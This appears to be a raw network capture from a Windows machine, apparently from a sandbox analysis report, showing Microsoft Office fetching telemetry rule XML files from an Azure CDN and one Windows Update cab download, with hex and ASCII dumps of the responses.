2024-12-08 16:46:00 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:59 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:00 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164600Z-r1cf579d778t6txphC1EWRsd4400000006dg000000002b1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:00 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49870	13.107.246.63	443	7856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:01 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:02 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fdf36bd3-a01e-0070-1e03-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164602Z-r1cf579d778z4wflhC1EWRa3h000000005y00000000046r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:02 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164602Z-r1cf579d778xq4f9hC1EWRx41g00000005n0000000008fh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:02 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164602Z-r1cf579d778w59f9hC1EWRze6w0000000650000000004k7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:02 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:02 UTC	495	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:02 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 54a6f29b-c01e-0066-5690-49a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164602Z-r1cf579d7789jf56hC1EWRu58800000000y0000000006v49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-08 16:46:02 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:02 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:02 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164602Z-r1cf579d778qgtz2hC1EWRmgks00000005qg000000004vtf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:02 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49875	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u2l95FzsGhxtNeP&MD=G1WSnhkZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-08 16:46:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 33c3f93c-848f-4c3c-a02d-ba0ee428b35a MS-RequestId: 828c21f3-c69a-448c-9a29-09aa67ed91c9 MS-CV: rwRJshKPwECy4roQ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 08 Dec 2024 16:46:03 GMT Connection: close Content-Length: 30005
2024-12-08 16:46:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-08 16:46:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:04 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:04 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 315ad4be-c01e-0014-2a03-48a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164604Z-r1cf579d778xr2r4hC1EWRqvfs00000005zg0000000020r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:04 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:04 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:04 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164604Z-r1cf579d77867vg8hC1EWR8knc00000005qg000000005dpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:05 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:04 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:04 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164604Z-r1cf579d778w59f9hC1EWRze6w0000000670000000001ffk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:05 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:04 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:04 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164604Z-r1cf579d778z4wflhC1EWRa3h00000000600000000002c9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
